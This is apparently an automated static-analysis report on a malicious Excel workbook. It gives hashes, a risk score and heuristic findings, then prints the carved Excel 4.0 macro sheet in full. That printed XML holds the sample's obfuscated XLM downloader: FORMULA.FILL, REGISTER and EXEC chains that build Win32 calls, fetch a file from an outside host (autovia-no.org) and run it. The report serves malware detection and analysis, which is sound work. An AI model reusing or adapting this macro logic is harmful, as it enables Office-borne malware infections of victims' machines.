Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fa27fae4967f1beb…

MALICIOUS

Office (OOXML)

25.1 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-02-20
MD5: edfa1ec2722a3a150d49bc87e8029bfd SHA-1: a224df3be8c6aebabdb80119decf5867e80657b8 SHA-256: fa27fae4967f1bebeb966402b7baca505d8cad77a6a6fdb1a1c367b25af7c795
190 Risk Score

Heuristics 5

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA.FILL, EXEC, REGISTER, HALT, GOTO critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/spreadsheetml/2006/main In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 5416 bytes
SHA-256: c62ffeb811755e0324ef3a0d6419ca7f5fa1e570af31ffb15b706dbe7caa42cc
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="A150:F171"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="1" width="9.28515625" style="2" customWidth="1"/><col min="2" max="2" width="24.5703125" style="2" customWidth="1"/><col min="3" max="3" width="8.28515625" style="2" customWidth="1"/><col min="4" max="4" width="4.28515625" style="2" customWidth="1"/><col min="5" max="5" width="13.7109375" style="2" customWidth="1"/><col min="6" max="6" width="19.7109375" style="2" customWidth="1"/><col min="7" max="16384" width="9.140625" style="2"/></cols><sheetData><row r="150" spans="1:6" x14ac:dyDescent="0.25"><c r="B150" s="3"/></row><row r="151" spans="1:6" x14ac:dyDescent="0.25"><c r="B151" s="3"/></row><row r="152" spans="1:6" x14ac:dyDescent="0.25"><c r="B152" s="3"/></row><row r="153" spans="1:6" x14ac:dyDescent="0.25"><c r="B153" s="3"/></row><row r="154" spans="1:6" x14ac:dyDescent="0.25"><c r="A154" s="2" t="b"><f>B154()</f><v>0</v></c><c r="B154" s="2" t="b"><f>FORMULA.FILL(Mios!U54&amp;Mios!U55&amp;Mios!U56&amp;Mios!U57&amp;Mios!U58&amp;Mios!U59,BB53)</f><v>0</v></c><c r="C154" s="2" t="b"><f>FORMULA.FILL(Mios!AC56,HI18807)</f><v>0</v></c><c r="D154" s="2" t="b"><f>EXEC("r"&amp;Mios!AC60&amp;" "&amp;Mios!AC59&amp;",D"&amp;Mios!AC61)</f><v>0</v></c><c r="E154" s="2" t="b"><f>REGISTER(HI18807,AN32726,IK16309,DI7875,,1,9)</f><v>0</v></c><c r="F154" s="2" t="b"><f>REGISTER(BB53,HZ48004,HI18898,IK4106,,1,9)</f><v>0</v></c></row><row r="155" spans="1:6" x14ac:dyDescent="0.25"><c r="B155" s="2" t="b"><f>B156()</f><v>0</v></c><c r="C155" s="2" t="b"><f>C156()</f><v>0</v></c><c r="D155" s="2" t="b"><f>HALT()</f><v>0</v></c><c r="E155" s="2" t="e"><f>Vuolasd(GT17028&amp;B169,AQ4875,1)</f><v>#NAME?</v></c><c r="F155" s="2" t="e"><f>Niokaser(0,GT17028&amp;B169,AQ4875,0,0)</f><v>#NAME?</v></c></row><row r="156" spans="1:6" x14ac:dyDescent="0.25"><c r="B156" s="2" t="b"><f>FORMULA.FILL(Mios!V53&amp;Mios!V54&amp;Mios!V55&amp;Mios!V56&amp;Mios!V57&amp;Mios!V58&amp;Mios!V59&amp;Mios!V60&amp;Mios!V61&amp;Mios!V62&amp;Mios!V63&amp;Mios!V64&amp;Mios!V65&amp;Mios!V66&amp;Mios!V67&amp;Mios!V68&amp;Mios!V69&amp;Mios!V70,HZ48004)</f><v>0</v></c><c r="C156" s="2" t="b"><f>FORMULA.FILL(Mios!AC57,AN32726)</f><v>0</v></c><c r="E156" s="2" t="e"><f>GOTO(F154)</f><v>#N/A</v></c><c r="F156" s="2" t="e"><f>GOTO(D154)</f><v>#N/A</v></c></row><row r="157" spans="1:6" x14ac:dyDescent="0.25"><c r="B157" s="2" t="b"><f>B158()</f><v>0</v></c><c r="C157" s="2" t="b"><f>C158()</f><v>0</v></c></row><row r="158" spans="1:6" x14ac:dyDescent="0.25"><c r="B158" s="2" t="b"><f>FORMULA.FILL(Mios!U62&amp;Mios!U63&amp;Mios!U64&amp;Mios!U65&amp;Mios!U66&amp;Mios!U67,HI18898)</f><v>0</v></c><c r="C158" s="2" t="b"><f>FORMULA.FILL("BCCJ",IK16309)</f><v>0</v></c></row><row r="159" spans="1:6" x14ac:dyDescent="0.25"><c r="B159" s="2" t="b"><f>B160()</f><v>0</v></c><c r="C159" s="2" t="b"><f>C160()</f><v>0</v></c></row><row r="160" spans="1:6" x14ac:dyDescent="0.25"><c r="B160" s="2" t="b"><f>FORMULA.FILL(Mios!AC58,GT17028)</f><v>0</v></c><c r="C160" s="2" t="b"><f>FORMULA.FILL("Niokaser",IK4106)</f><v>0</v></c></row><row r="161" spans="1:3" x14ac:dyDescent="0.25"><c r="B161" s="2" t="b"><f>B162()</f><v>0</v></c><c r="C161" s="2" t="b"><f>C162()</f><v>0</v></c></row><row r="162" spans="1:3" x14ac:dyDescent="0.25"><c r="B162" s="2" t="b"><f>FORMULA.FILL(Mios!AC59,AQ4875)</f><v>0</v></c><c r="C162" s="2" t="b"><f>FORMULA.FILL("Vuolasd",DI7875)</f><v>0</v></c></row><row r="163" spans="1:3" x14ac:dyDescent="0.25"><c r="B163" s="2" t="b"><f>FORMULA.FILL(Mios!AC60,AS41071)</f><v>0</v></c><c r="C163" s="2" t="b"><f>F154()</f><v>0</v></c></row><row r="164" spans="1:3" x14ac:dyDescent="0.25"><c r="A164" s="2" t="e"><f>GOTO(E154)</f><v>#N/A</v></c><c r="B164" s="2" t="b"><f>B165()</f><v>0</v></c></row><row r="165" spans="1:3" x14ac:dyDescent="0.25"><c r="B165" s="2" t="b"><f>FORMULA.FILL(Mios!AC61,HG9961)</f><v>0</v></c></row><row r="166" spans="1:3" x14ac:dyDescent="0.25"><c r="B166" s="2" t="b"><f>C154()</f><v>0</v></c><c r="C166" s="2" t="s"><v>17</v></c></row><row r="167" spans="1:3" x14ac:dyDescent="0.25"><c r="C167" s="2" t="s"><v>18</v></c></row><row r="168" spans="1:3" x14ac:dyDescent="0.25"><c r="C168" s="2" t="s"><v>19</v></c></row><row r="169" spans="1:3" x14ac:dyDescent="0.25"><c r="B169" s="2" t="str"><f>""&amp;""&amp;""&amp;INDEX(C166:C171,RANDBETWEEN(1,8))&amp;B170</f><v>www.autovia-no.org/polioictrrm/5319402.jpg</v></c><c r="C169" s="2" t="s"><v>20</v></c></row><row r="170" spans="1:3" x14ac:dyDescent="0.25"><c r="B170" s="2" t="str"><f>RANDBETWEEN(2222222,8888888)&amp;".jpg"</f><v>5319402.jpg</v></c><c r="C170" s="2" t="s"><v>21</v></c></row><row r="171" spans="1:3" x14ac:dyDescent="0.25"><c r="C171" s="2" t="s"><v>22</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

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